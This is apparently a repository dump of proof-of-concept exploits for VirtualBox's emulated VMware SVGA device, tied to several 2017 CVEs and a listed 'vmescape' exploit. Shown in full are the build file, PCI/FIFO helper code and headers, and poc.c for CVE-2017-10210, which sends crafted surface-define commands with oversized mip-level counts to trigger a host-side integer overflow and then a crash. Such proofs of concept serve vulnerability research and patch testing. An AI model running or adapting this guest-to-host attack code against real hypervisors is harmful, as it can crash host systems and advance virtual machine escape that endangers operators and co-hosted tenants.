├── CVE-2017-10210 ├── Makefile ├── poc.c ├── svga.c ├── svga.h ├── svga3d_reg.h └── svga_reg.h ├── CVE-2017-10236 ├── Makefile ├── poc.c ├── svga.c ├── svga.h ├── svga3d_reg.h └── svga_reg.h ├── CVE-2017-10240+10408 ├── Makefile ├── poc.c ├── svga.c ├── svga.h ├── svga3d_reg.h └── svga_reg.h ├── CVE-2017-10407 ├── SVGA_3D_CMD_SURFACE_DMA │ ├── Makefile │ ├── poc.c │ ├── svga.c │ ├── svga.h │ ├── svga3d_reg.h │ └── svga_reg.h └── SVGA_CMD_BLIT_GMRFB_TO_SCREEN │ ├── Makefile │ ├── poc.c │ ├── svga.c │ ├── svga.h │ └── svga_reg.h ├── README.md └── vmescape ├── Makefile ├── VBoxGuest.h ├── address.h ├── device.c ├── device.h ├── exploit.c ├── hgcm.h ├── mmu.c ├── svga3d_reg.h └── svga_reg.h /CVE-2017-10210/Makefile: -------------------------------------------------------------------------------- 1 | poc: svga.c poc.c 2 | gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess 3 | clean: 4 | rm poc 5 | 6 | -------------------------------------------------------------------------------- /CVE-2017-10210/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "svga.h" 5 | #include "svga3d_reg.h" 6 | 7 | SVGADevice gSVGA; 8 | 9 | int main(int argc, char **argv) 10 | { 11 | 12 | SVGA3dCmdHeader hdr = {0}; 13 | SVGA3dCmdDefineSurface surface = {0}; 14 | SVGA3dSize dsize[2] = {0}; 15 | SVGA3dCmdDestroySurface destroy_sid = {0}; 16 | 17 | if (conf_svga_device() != 0) 18 | errx(EXIT_FAILURE, "[!] Error initializing SVGA device"); 19 | 20 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 21 | 22 | SVGA_WriteReg(SVGA_REG_WIDTH, 0x320); 23 | SVGA_WriteReg(SVGA_REG_HEIGHT, 0x258); 24 | SVGA_WriteReg(SVGA_REG_BITS_PER_PIXEL, 32); 25 | 26 | hdr.size = 60; 27 | surface.sid = 0; 28 | surface.surfaceFlags= SVGA3D_SURFACE_CUBEMAP; 29 | surface.format = SVGA3D_BUFFER; 30 | surface.face[0].numMipLevels = 0x2aaaaaab; 31 | surface.face[1].numMipLevels = 0x2aaaaaab; 32 | surface.face[2].numMipLevels = 0x2aaaaaab; 33 | surface.face[3].numMipLevels = 0x2aaaaaab; 34 | surface.face[4].numMipLevels = 0x2aaaaaab; 35 | surface.face[5].numMipLevels = 0x2aaaaaab; 36 | 37 | dsize[0].width = 2; 38 | dsize[0].height = 2; 39 | dsize[0].depth = 2; 40 | 41 | dsize[1].width = 2; 42 | dsize[1].height = 2; 43 | dsize[1].depth = 2; 44 | 45 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DEFINE); 46 | VMwareWriteWordToFIFO(hdr.size); 47 | VMwareWriteWordToFIFO(surface.sid); 48 | VMwareWriteWordToFIFO(surface.surfaceFlags); 49 | VMwareWriteWordToFIFO(surface.format); 50 | VMwareWriteWordToFIFO(surface.face[0].numMipLevels); 51 | VMwareWriteWordToFIFO(surface.face[1].numMipLevels); 52 | VMwareWriteWordToFIFO(surface.face[2].numMipLevels); 53 | VMwareWriteWordToFIFO(surface.face[3].numMipLevels); 54 | VMwareWriteWordToFIFO(surface.face[4].numMipLevels); 55 | VMwareWriteWordToFIFO(surface.face[5].numMipLevels); 56 | 57 | VMwareWriteWordToFIFO(dsize[0].width); 58 | VMwareWriteWordToFIFO(dsize[0].height); 59 | VMwareWriteWordToFIFO(dsize[0].depth); 60 | VMwareWriteWordToFIFO(dsize[1].width); 61 | VMwareWriteWordToFIFO(dsize[1].height); 62 | VMwareWriteWordToFIFO(dsize[1].depth); 63 | 64 | warnx("[+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE..."); 65 | VMwareWaitForFB(); 66 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, false); 67 | 68 | hdr.size = 4; 69 | destroy_sid.sid = 0; 70 | 71 | VMwareWriteWordToFIFO(SVGA_3D_CMD_SURFACE_DESTROY); 72 | VMwareWriteWordToFIFO(hdr.size); 73 | VMwareWriteWordToFIFO(destroy_sid.sid); 74 | warnx("[+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY..."); 75 | VMwareWaitForFB(); 76 | 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /CVE-2017-10210/svga.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #include "svga.h" 9 | #include "svga_reg.h" 10 | 11 | extern SVGADevice gSVGA; 12 | 13 | uint32_t 14 | SVGA_ReadReg(uint32_t index) 15 | { 16 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 17 | return inl(gSVGA.ioBase + SVGA_VALUE_PORT); 18 | } 19 | 20 | void 21 | SVGA_WriteReg(uint32_t index, uint32_t value) 22 | { 23 | outl(index, gSVGA.ioBase + SVGA_INDEX_PORT); 24 | outl(value, gSVGA.ioBase + SVGA_VALUE_PORT); 25 | } 26 | 27 | void 28 | VMwareWaitForFB(void) 29 | { 30 | SVGA_WriteReg(SVGA_REG_CONFIG_DONE, true); 31 | SVGA_WriteReg(SVGA_REG_SYNC, SVGA_SYNC_GENERIC); 32 | while (SVGA_ReadReg(SVGA_REG_BUSY)); 33 | } 34 | 35 | void 36 | VMwareWriteWordToFIFO(uint32_t value) 37 | { 38 | uint32_t *VMwareFIFO = gSVGA.fifoMem; 39 | 40 | if ((VMwareFIFO[SVGA_FIFO_NEXT_CMD] + sizeof(uint32_t) == VMwareFIFO[SVGA_FIFO_STOP]) 41 | || (VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t) 42 | && VMwareFIFO[SVGA_FIFO_STOP] == VMwareFIFO[SVGA_FIFO_MIN])) { 43 | 44 | VMwareWaitForFB(); 45 | } 46 | 47 | VMwareFIFO[VMwareFIFO[SVGA_FIFO_NEXT_CMD] / sizeof(uint32_t)] = value; 48 | 49 | if(VMwareFIFO[SVGA_FIFO_NEXT_CMD] == VMwareFIFO[SVGA_FIFO_MAX] - sizeof(uint32_t)) { 50 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] = VMwareFIFO[SVGA_FIFO_MIN]; 51 | } else { 52 | VMwareFIFO[SVGA_FIFO_NEXT_CMD] += sizeof(uint32_t); 53 | } 54 | } 55 | 56 | void 57 | pci_cleanup(struct pci_device_iterator *iter) 58 | { 59 | 60 | pci_iterator_destroy(iter); 61 | pci_system_cleanup(); 62 | } 63 | 64 | 65 | int 66 | conf_svga_device(void) 67 | { 68 | 69 | struct pci_device *dev; 70 | struct pci_device_iterator *iter; 71 | struct pci_id_match match; 72 | uint16_t command; 73 | 74 | if (getuid() != 0 || geteuid() != 0) 75 | errx(EXIT_FAILURE, "[!] Run program as root"); 76 | 77 | iopl(3); 78 | 79 | if (pci_system_init()) 80 | return -1; 81 | 82 | match.vendor_id = PCI_VENDOR_ID_VMWARE; 83 | match.device_id = PCI_DEVICE_ID_VMWARE_SVGA2; 84 | match.subvendor_id = PCI_MATCH_ANY; 85 | match.subdevice_id = PCI_MATCH_ANY; 86 | match.device_class = 0; 87 | match.device_class_mask = 0; 88 | 89 | iter = pci_id_match_iterator_create(&match); 90 | dev = pci_device_next(iter); 91 | 92 | if (dev == NULL) { 93 | pci_cleanup(iter); 94 | return -1; 95 | } 96 | 97 | pci_device_probe(dev); 98 | 99 | gSVGA.ioBase = dev->regions[0].base_addr; 100 | gSVGA.fbMem = (void *)dev->regions[1].base_addr; 101 | gSVGA.fifoMem = (void *)dev->regions[2].base_addr; 102 | 103 | command = pci_device_cfg_read_u16(dev, 0, 4); 104 | pci_device_cfg_write_u16(dev, command | 7, 4); 105 | 106 | SVGA_WriteReg(SVGA_REG_ID, SVGA_ID_2); 107 | SVGA_WriteReg(SVGA_REG_ENABLE, true); 108 | 109 | gSVGA.vramSize = SVGA_ReadReg(SVGA_REG_VRAM_SIZE); 110 | gSVGA.fbSize = SVGA_ReadReg(SVGA_REG_FB_SIZE); 111 | gSVGA.fifoSize = SVGA_ReadReg(SVGA_REG_MEM_SIZE); 112 | 113 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fbMem, (pciaddr_t)gSVGA.fbSize, 114 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fbMem); 115 | pci_device_map_range(dev, (pciaddr_t)gSVGA.fifoMem, (pciaddr_t)gSVGA.fifoSize, 116 | PCI_DEV_MAP_FLAG_WRITABLE, (void *)&gSVGA.fifoMem); 117 | 118 | pci_cleanup(iter); 119 | 120 | return 0; 121 | } 122 | 123 | -------------------------------------------------------------------------------- /CVE-2017-10210/svga.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef long long int64; 5 | typedef unsigned long long uint64; 6 | 7 | typedef int int32; 8 | typedef unsigned int uint32; 9 | 10 | typedef short int16; 11 | typedef unsigned short uint16; 12 | 13 | typedef char int8; 14 | typedef unsigned char uint8; 15 | 16 | typedef uint8 Bool; 17 | 18 | typedef struct SVGADevice { 19 | uint32 ioBase; 20 | uint32 *fifoMem; 21 | uint8 *fbMem; 22 | uint32 fifoSize; 23 | uint32 fbSize; 24 | uint32 vramSize; 25 | 26 | uint32 deviceVersionId; 27 | uint32 capabilities; 28 | 29 | uint32 width; 30 | uint32 height; 31 | uint32 bpp; 32 | uint32 pitch; 33 | } SVGADevice; 34 | 35 | uint32_t SVGA_ReadReg(uint32_t); 36 | void SVGA_WriteReg(uint32_t, uint32_t); 37 | void VMwareWaitForFB(void); 38 | void VMwareWriteWordToFIFO(uint32_t); 39 | int conf_svga_device(void); 40 | -------------------------------------------------------------------------------- /CVE-2017-10210/svga_reg.h: -------------------------------------------------------------------------------- 1 | /********************************************************** 2 | * Copyright 1998-2009 VMware, Inc. All rights reserved. 3 | * 4 | * Permission is hereby granted, free of charge, to any person 5 | * obtaining a copy of this software and associated documentation 6 | * files (the "Software"), to deal in the Software without 7 | * restriction, including without limitation the rights to use, copy, 8 | * modify, merge, publish, distribute, sublicense, and/or sell copies 9 | * of the Software, and to permit persons to whom the Software is 10 | * furnished to do so, subject to the following conditions: 11 | * 12 | * The above copyright notice and this permission notice shall be 13 | * included in all copies or substantial portions of the Software. 14 | * 15 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 16 | * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 17 | * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 18 | * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS 19 | * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN 20 | * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 21 | * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | * 24 | **********************************************************/ 25 | 26 | /* 27 | * svga_reg.h -- 28 | * 29 | * Virtual hardware definitions for the VMware SVGA II device. 30 | */ 31 | 32 | #ifndef _SVGA_REG_H_ 33 | #define _SVGA_REG_H_ 34 | 35 | /* 36 | * PCI device IDs. 37 | */ 38 | #define PCI_VENDOR_ID_VMWARE 0x15AD 39 | #define PCI_DEVICE_ID_VMWARE_SVGA2 0x0405 40 | 41 | /* 42 | * SVGA_REG_ENABLE bit definitions. 43 | */ 44 | #define SVGA_REG_ENABLE_DISABLE 0 45 | #define SVGA_REG_ENABLE_ENABLE 1 46 | #define SVGA_REG_ENABLE_HIDE 2 47 | #define SVGA_REG_ENABLE_ENABLE_HIDE (SVGA_REG_ENABLE_ENABLE |\ 48 | SVGA_REG_ENABLE_HIDE) 49 | 50 | /* 51 | * Legal values for the SVGA_REG_CURSOR_ON register in old-fashioned 52 | * cursor bypass mode. This is still supported, but no new guest 53 | * drivers should use it. 54 | */ 55 | #define SVGA_CURSOR_ON_HIDE 0x0 /* Must be 0 to maintain backward compatibility */ 56 | #define SVGA_CURSOR_ON_SHOW 0x1 /* Must be 1 to maintain backward compatibility */ 57 | #define SVGA_CURSOR_ON_REMOVE_FROM_FB 0x2 /* Remove the cursor from the framebuffer because we need to see what's under it */ 58 | #define SVGA_CURSOR_ON_RESTORE_TO_FB 0x3 /* Put the cursor back in the framebuffer so the user can see it */ 59 | 60 | /* 61 | * The maximum framebuffer size that can traced for e.g. guests in VESA mode. 62 | * The changeMap in the monitor is proportional to this number. Therefore, we'd 63 | * like to keep it as small as possible to reduce monitor overhead (using 64 | * SVGA_VRAM_MAX_SIZE for this increases the size of the shared area by over 65 | * 4k!). 66 | * 67 | * NB: For compatibility reasons, this value must be greater than 0xff0000. 68 | * See bug 335072. 69 | */ 70 | #define SVGA_FB_MAX_TRACEABLE_SIZE 0x1000000 71 | 72 | #define SVGA_MAX_PSEUDOCOLOR_DEPTH 8 73 | #define SVGA_MAX_PSEUDOCOLORS (1 << SVGA_MAX_PSEUDOCOLOR_DEPTH) 74 | #define SVGA_NUM_PALETTE_REGS (3 * SVGA_MAX_PSEUDOCOLORS) 75 | 76 | #define SVGA_MAGIC 0x900000UL 77 | #define SVGA_MAKE_ID(ver) (SVGA_MAGIC << 8 | (ver)) 78 | 79 | /* Version 2 let the address of the frame buffer be unsigned on Win32 */ 80 | #define SVGA_VERSION_2 2 81 | #define SVGA_ID_2 SVGA_MAKE_ID(SVGA_VERSION_2) 82 | 83 | /* Version 1 has new registers starting with SVGA_REG_CAPABILITIES so 84 | PALETTE_BASE has moved */ 85 | #define SVGA_VERSION_1 1 86 | #define SVGA_ID_1 SVGA_MAKE_ID(SVGA_VERSION_1) 87 | 88 | /* Version 0 is the initial version */ 89 | #define SVGA_VERSION_0 0 90 | #define SVGA_ID_0 SVGA_MAKE_ID(SVGA_VERSION_0) 91 | 92 | /* "Invalid" value for all SVGA IDs. (Version ID, screen object ID, surface ID...) */ 93 | #define SVGA_ID_INVALID 0xFFFFFFFF 94 | 95 | /* Port offsets, relative to BAR0 */ 96 | #define SVGA_INDEX_PORT 0x0 97 | #define SVGA_VALUE_PORT 0x1 98 | #define SVGA_BIOS_PORT 0x2 99 | #define SVGA_IRQSTATUS_PORT 0x8 100 | 101 | /* 102 | * Interrupt source flags for IRQSTATUS_PORT and IRQMASK. 103 | * 104 | * Interrupts are only supported when the 105 | * SVGA_CAP_IRQMASK capability is present. 106 | */ 107 | #define SVGA_IRQFLAG_ANY_FENCE 0x1 /* Any fence was passed */ 108 | #define SVGA_IRQFLAG_FIFO_PROGRESS 0x2 /* Made forward progress in the FIFO */ 109 | #define SVGA_IRQFLAG_FENCE_GOAL 0x4 /* SVGA_FIFO_FENCE_GOAL reached */ 110 | 111 | /* 112 | * Sync register values 113 | */ 114 | 115 | #define SVGA_SYNC_GENERIC 1 116 | #define SVGA_SYNC_FIFOFULL 2 117 | 118 | /* 119 | * Registers 120 | */ 121 | 122 | enum { 123 | SVGA_REG_ID = 0, 124 | SVGA_REG_ENABLE = 1, 125 | SVGA_REG_WIDTH = 2, 126 | SVGA_REG_HEIGHT = 3, 127 | SVGA_REG_MAX_WIDTH = 4, 128 | SVGA_REG_MAX_HEIGHT = 5, 129 | SVGA_REG_DEPTH = 6, 130 | SVGA_REG_BITS_PER_PIXEL = 7, /* Current bpp in the guest */ 131 | SVGA_REG_PSEUDOCOLOR = 8, 132 | SVGA_REG_RED_MASK = 9, 133 | SVGA_REG_GREEN_MASK = 10, 134 | SVGA_REG_BLUE_MASK = 11, 135 | SVGA_REG_BYTES_PER_LINE = 12, 136 | SVGA_REG_FB_START = 13, /* (Deprecated) */ 137 | SVGA_REG_FB_OFFSET = 14, 138 | SVGA_REG_VRAM_SIZE = 15, 139 | SVGA_REG_FB_SIZE = 16, 140 | 141 | /* ID 0 implementation only had the above registers, then the palette */ 142 | 143 | SVGA_REG_CAPABILITIES = 17, 144 | SVGA_REG_MEM_START = 18, /* (Deprecated) */ 145 | SVGA_REG_MEM_SIZE = 19, 146 | SVGA_REG_CONFIG_DONE = 20, /* Set when memory area configured */ 147 | SVGA_REG_SYNC = 21, /* See "FIFO Synchronization Registers" */ 148 | SVGA_REG_BUSY = 22, /* See "FIFO Synchronization Registers" */ 149 | SVGA_REG_GUEST_ID = 23, /* Set guest OS identifier */ 150 | SVGA_REG_CURSOR_ID = 24, /* (Deprecated) */ 151 | SVGA_REG_CURSOR_X = 25, /* (Deprecated) */ 152 | SVGA_REG_CURSOR_Y = 26, /* (Deprecated) */ 153 | SVGA_REG_CURSOR_ON = 27, /* (Deprecated) */ 154 | SVGA_REG_HOST_BITS_PER_PIXEL = 28, /* (Deprecated) */ 155 | SVGA_REG_SCRATCH_SIZE = 29, /* Number of scratch registers */ 156 | SVGA_REG_MEM_REGS = 30, /* Number of FIFO registers */ 157 | SVGA_REG_NUM_DISPLAYS = 31, /* (Deprecated) */ 158 | SVGA_REG_PITCHLOCK = 32, /* Fixed pitch for all modes */ 159 | SVGA_REG_IRQMASK = 33, /* Interrupt mask */ 160 | 161 | /* Legacy multi-monitor support */ 162 | SVGA_REG_NUM_GUEST_DISPLAYS = 34,/* Number of guest displays in X/Y direction */ 163 | SVGA_REG_DISPLAY_ID = 35, /* Display ID for the following display attributes */ 164 | SVGA_REG_DISPLAY_IS_PRIMARY = 36,/* Whether this is a primary display */ 165 | SVGA_REG_DISPLAY_POSITION_X = 37,/* The display position x */ 166 | SVGA_REG_DISPLAY_POSITION_Y = 38,/* The display position y */ 167 | SVGA_REG_DISPLAY_WIDTH = 39, /* The display's width */ 168 | SVGA_REG_DISPLAY_HEIGHT = 40, /* The display's height */ 169 | 170 | /* See "Guest memory regions" below. */ 171 | SVGA_REG_GMR_ID = 41, 172 | SVGA_REG_GMR_DESCRIPTOR = 42, 173 | SVGA_REG_GMR_MAX_IDS = 43, 174 | SVGA_REG_GMR_MAX_DESCRIPTOR_LENGTH = 44, 175 | 176 | SVGA_REG_TRACES = 45, /* Enable trace-based updates even when FIFO is on */ 177 | SVGA_REG_GMRS_MAX_PAGES = 46, /* Maximum number of 4KB pages for all GMRs */ 178 | SVGA_REG_MEMORY_SIZE = 47, /* Total dedicated device memory excluding FIFO */ 179 | SVGA_REG_TOP = 48, /* Must be 1 more than the last register */ 180 | 181 | SVGA_PALETTE_BASE = 1024, /* Base of SVGA color map */ 182 | /* Next 768 (== 256*3) registers exist for colormap */ 183 | 184 | SVGA_SCRATCH_BASE = SVGA_PALETTE_BASE + SVGA_NUM_PALETTE_REGS 185 | /* Base of scratch registers */ 186 | /* Next reg[SVGA_REG_SCRATCH_SIZE] registers exist for scratch usage: 187 | First 4 are reserved for VESA BIOS Extension; any remaining are for 188 | the use of the current SVGA driver. */ 189 | }; 190 | 191 | 192 | /* 193 | * Guest memory regions (GMRs): 194 | * 195 | * This is a new memory mapping feature available in SVGA devices 196 | * which have the SVGA_CAP_GMR bit set. Previously, there were two 197 | * fixed memory regions available with which to share data between the 198 | * device and the driver: the FIFO ('MEM') and the framebuffer. GMRs 199 | * are our name for an extensible way of providing arbitrary DMA 200 | * buffers for use between the driver and the SVGA device. They are a 201 | * new alternative to framebuffer memory, usable for both 2D and 3D 202 | * graphics operations. 203 | * 204 | * Since GMR mapping must be done synchronously with guest CPU 205 | * execution, we use a new pair of SVGA registers: 206 | * 207 | * SVGA_REG_GMR_ID -- 208 | * 209 | * Read/write. 210 | * This register holds the 32-bit ID (a small positive integer) 211 | * of a GMR to create, delete, or redefine. Writing this register 212 | * has no side-effects. 213 | * 214 | * SVGA_REG_GMR_DESCRIPTOR -- 215 | * 216 | * Write-only. 217 | * Writing this register will create, delete, or redefine the GMR 218 | * specified by the above ID register. If this register is zero, 219 | * the GMR is deleted. Any pointers into this GMR (including those 220 | * currently being processed by FIFO commands) will be 221 | * synchronously invalidated. 222 | * 223 | * If this register is nonzero, it must be the physical page 224 | * number (PPN) of a data structure which describes the physical 225 | * layout of the memory region this GMR should describe. The 226 | * descriptor structure will be read synchronously by the SVGA 227 | * device when this register is written. The descriptor need not 228 | * remain allocated for the lifetime of the GMR. 229 | * 230 | * The guest driver should write SVGA_REG_GMR_ID first, then 231 | * SVGA_REG_GMR_DESCRIPTOR. 232 | * 233 | * SVGA_REG_GMR_MAX_IDS -- 234 | * 235 | * Read-only. 236 | * The SVGA device may choose to support a maximum number of 237 | * user-defined GMR IDs. This register holds the number of supported 238 | * IDs. (The maximum supported ID plus 1) 239 | * 240 | * SVGA_REG_GMR_MAX_DESCRIPTOR_LENGTH -- 241 | * 242 | * Read-only. 243 | * The SVGA device may choose to put a limit on the total number 244 | * of SVGAGuestMemDescriptor structures it will read when defining 245 | * a single GMR. 246 | * 247 | * The descriptor structure is an array of SVGAGuestMemDescriptor 248 | * structures. Each structure may do one of three things: 249 | * 250 | * - Terminate the GMR descriptor list. 251 | * (ppn==0, numPages==0) 252 | * 253 | * - Add a PPN or range of PPNs to the GMR's virtual address space. 254 | * (ppn != 0, numPages != 0) 255 | * 256 | * - Provide the PPN of the next SVGAGuestMemDescriptor, in order to 257 | * support multi-page GMR descriptor tables without forcing the 258 | * driver to allocate physically contiguous memory. 259 | * (ppn != 0, numPages == 0) 260 | * 261 | * Note that each physical page of SVGAGuestMemDescriptor structures 262 | * can describe at least 2MB of guest memory. If the driver needs to 263 | * use more than one page of descriptor structures, it must use one of 264 | * its SVGAGuestMemDescriptors to point to an additional page. The 265 | * device will never automatically cross a page boundary. 266 | * 267 | * Once the driver has described a GMR, it is immediately available 268 | * for use via any FIFO command that uses an SVGAGuestPtr structure. 269 | * These pointers include a GMR identifier plus an offset into that 270 | * GMR. 271 | * 272 | * The driver must check the SVGA_CAP_GMR bit before using the GMR 273 | * registers. 274 | */ 275 | 276 | /* 277 | * Special GMR IDs, allowing SVGAGuestPtrs to point to framebuffer 278 | * memory as well. In the future, these IDs could even be used to 279 | * allow legacy memory regions to be redefined by the guest as GMRs. 280 | * 281 | * Using the guest framebuffer (GFB) at BAR1 for general purpose DMA 282 | * is being phased out. Please try to use user-defined GMRs whenever 283 | * possible. 284 | */ 285 | #define SVGA_GMR_NULL ((uint32) -1) 286 | #define SVGA_GMR_FRAMEBUFFER ((uint32) -2) // Guest Framebuffer (GFB) 287 | 288 | typedef 289 | struct SVGAGuestMemDescriptor { 290 | uint32 ppn; 291 | uint32 numPages; 292 | } SVGAGuestMemDescriptor; 293 | 294 | typedef 295 | struct SVGAGuestPtr { 296 | uint32 gmrId; 297 | uint32 offset; 298 | } SVGAGuestPtr; 299 | 300 | 301 | /* 302 | * SVGAGMRImageFormat -- 303 | * 304 | * This is a packed representation of the source 2D image format 305 | * for a GMR-to-screen blit. Currently it is defined as an encoding 306 | * of the screen's color depth and bits-per-pixel, however, 16 bits 307 | * are reserved for future use to identify other encodings (such as 308 | * RGBA or higher-precision images). 309 | * 310 | * Currently supported formats: 311 | * 312 | * bpp depth Format Name 313 | * --- ----- ----------- 314 | * 32 24 32-bit BGRX 315 | * 24 24 24-bit BGR 316 | * 16 16 RGB 5-6-5 317 | * 16 15 RGB 5-5-5 318 | * 319 | */ 320 | 321 | typedef 322 | struct SVGAGMRImageFormat { 323 | union { 324 | struct { 325 | uint32 bitsPerPixel : 8; 326 | uint32 colorDepth : 8; 327 | uint32 reserved : 16; // Must be zero 328 | }; 329 | 330 | uint32 value; 331 | }; 332 | } SVGAGMRImageFormat; 333 | 334 | typedef 335 | struct SVGAGuestImage { 336 | SVGAGuestPtr ptr; 337 | 338 | /* 339 | * A note on interpretation of pitch: This value of pitch is the 340 | * number of bytes between vertically adjacent image 341 | * blocks. Normally this is the number of bytes between the first 342 | * pixel of two adjacent scanlines. With compressed textures, 343 | * however, this may represent the number of bytes between 344 | * compression blocks rather than between rows of pixels. 345 | * 346 | * XXX: Compressed textures currently must be tightly packed in guest memory. 347 | * 348 | * If the image is 1-dimensional, pitch is ignored. 349 | * 350 | * If 'pitch' is zero, the SVGA3D device calculates a pitch value 351 | * assuming each row of blocks is tightly packed. 352 | */ 353 | uint32 pitch; 354 | } SVGAGuestImage; 355 | 356 | /* 357 | * SVGAColorBGRX -- 358 | * 359 | * A 24-bit color format (BGRX), which does not depend on the 360 | * format of the legacy guest framebuffer (GFB) or the current 361 | * GMRFB state. 362 | */ 363 | 364 | typedef 365 | struct SVGAColorBGRX { 366 | union { 367 | struct { 368 | uint32 b : 8; 369 | uint32 g : 8; 370 | uint32 r : 8; 371 | uint32 x : 8; // Unused 372 | }; 373 | 374 | uint32 value; 375 | }; 376 | } SVGAColorBGRX; 377 | 378 | 379 | /* 380 | * SVGASignedRect -- 381 | * SVGASignedPoint -- 382 | * 383 | * Signed rectangle and point primitives. These are used by the new 384 | * 2D primitives for drawing to Screen Objects, which can occupy a 385 | * signed virtual coordinate space. 386 | * 387 | * SVGASignedRect specifies a half-open interval: the (left, top) 388 | * pixel is part of the rectangle, but the (right, bottom) pixel is 389 | * not. 390 | */ 391 | 392 | typedef 393 | struct SVGASignedRect { 394 | int32 left; 395 | int32 top; 396 | int32 right; 397 | int32 bottom; 398 | } SVGASignedRect; 399 | 400 | typedef 401 | struct SVGASignedPoint { 402 | int32 x; 403 | int32 y; 404 | } SVGASignedPoint; 405 | 406 | 407 | /* 408 | * Capabilities 409 | * 410 | * Note the holes in the bitfield. Missing bits have been deprecated, 411 | * and must not be reused. Those capabilities will never be reported 412 | * by new versions of the SVGA device. 413 | * 414 | * SVGA_CAP_GMR2 -- 415 | * Provides asynchronous commands to define and remap guest memory 416 | * regions. Adds device registers SVGA_REG_GMRS_MAX_PAGES and 417 | * SVGA_REG_MEMORY_SIZE. 418 | * 419 | * SVGA_CAP_SCREEN_OBJECT_2 -- 420 | * Allow screen object support, and require backing stores from the 421 | * guest for each screen object. 422 | */ 423 | 424 | #define SVGA_CAP_NONE 0x00000000 425 | #define SVGA_CAP_RECT_COPY 0x00000002 426 | #define SVGA_CAP_CURSOR 0x00000020 427 | #define SVGA_CAP_CURSOR_BYPASS 0x00000040 // Legacy (Use Cursor Bypass 3 instead) 428 | #define SVGA_CAP_CURSOR_BYPASS_2 0x00000080 // Legacy (Use Cursor Bypass 3 instead) 429 | #define SVGA_CAP_8BIT_EMULATION 0x00000100 430 | #define SVGA_CAP_ALPHA_CURSOR 0x00000200 431 | #define SVGA_CAP_3D 0x00004000 432 | #define SVGA_CAP_EXTENDED_FIFO 0x00008000 433 | #define SVGA_CAP_MULTIMON 0x00010000 // Legacy multi-monitor support 434 | #define SVGA_CAP_PITCHLOCK 0x00020000 435 | #define SVGA_CAP_IRQMASK 0x00040000 436 | #define SVGA_CAP_DISPLAY_TOPOLOGY 0x00080000 // Legacy multi-monitor support 437 | #define SVGA_CAP_GMR 0x00100000 438 | #define SVGA_CAP_TRACES 0x00200000 439 | #define SVGA_CAP_GMR2 0x00400000 440 | #define SVGA_CAP_SCREEN_OBJECT_2 0x00800000 441 | 442 | 443 | /* 444 | * FIFO register indices. 445 | * 446 | * The FIFO is a chunk of device memory mapped into guest physmem. It 447 | * is always treated as 32-bit words. 448 | * 449 | * The guest driver gets to decide how to partition it between 450 | * - FIFO registers (there are always at least 4, specifying where the 451 | * following data area is and how much data it contains; there may be 452 | * more registers following these, depending on the FIFO protocol 453 | * version in use) 454 | * - FIFO data, written by the guest and slurped out by the VMX. 455 | * These indices are 32-bit word offsets into the FIFO. 456 | */ 457 | 458 | enum { 459 | /* 460 | * Block 1 (basic registers): The originally defined FIFO registers. 461 | * These exist and are valid for all versions of the FIFO protocol. 462 | */ 463 | 464 | SVGA_FIFO_MIN = 0, 465 | SVGA_FIFO_MAX, /* The distance from MIN to MAX must be at least 10K */ 466 | SVGA_FIFO_NEXT_CMD, 467 | SVGA_FIFO_STOP, 468 | 469 | /* 470 | * Block 2 (extended registers): Mandatory registers for the extended 471 | * FIFO. These exist if the SVGA caps register includes 472 | * SVGA_CAP_EXTENDED_FIFO; some of them are valid only if their 473 | * associated capability bit is enabled. 474 | * 475 | * Note that when originally defined, SVGA_CAP_EXTENDED_FIFO implied 476 | * support only for (FIFO registers) CAPABILITIES, FLAGS, and FENCE. 477 | * This means that the guest has to test individually (in most cases 478 | * using FIFO caps) for the presence of registers after this; the VMX 479 | * can define "extended FIFO" to mean whatever it wants, and currently 480 | * won't enable it unless there's room for that set and much more. 481 | */ 482 | 483 | SVGA_FIFO_CAPABILITIES = 4, 484 | SVGA_FIFO_FLAGS, 485 | // Valid with SVGA_FIFO_CAP_FENCE: 486 | SVGA_FIFO_FENCE, 487 | 488 | /* 489 | * Block 3a (optional extended registers): Additional registers for the 490 | * extended FIFO, whose presence isn't actually implied by 491 | * SVGA_CAP_EXTENDED_FIFO; these exist if SVGA_FIFO_MIN is high enough to 492 | * leave room for them. 493 | * 494 | * These in block 3a, the VMX currently considers mandatory for the 495 | * extended FIFO. 496 | */ 497 | 498 | // Valid if exists (i.e. if extended FIFO enabled): 499 | SVGA_FIFO_3D_HWVERSION, /* See SVGA3dHardwareVersion in svga3d_reg.h */ 500 | // Valid with SVGA_FIFO_CAP_PITCHLOCK: 501 | SVGA_FIFO_PITCHLOCK, 502 | 503 | // Valid with SVGA_FIFO_CAP_CURSOR_BYPASS_3: 504 | SVGA_FIFO_CURSOR_ON, /* Cursor bypass 3 show/hide register */ 505 | SVGA_FIFO_CURSOR_X, /* Cursor bypass 3 x register */ 506 | SVGA_FIFO_CURSOR_Y, /* Cursor bypass 3 y register */ 507 | SVGA_FIFO_CURSOR_COUNT, /* Incremented when any of the other 3 change */ 508 | 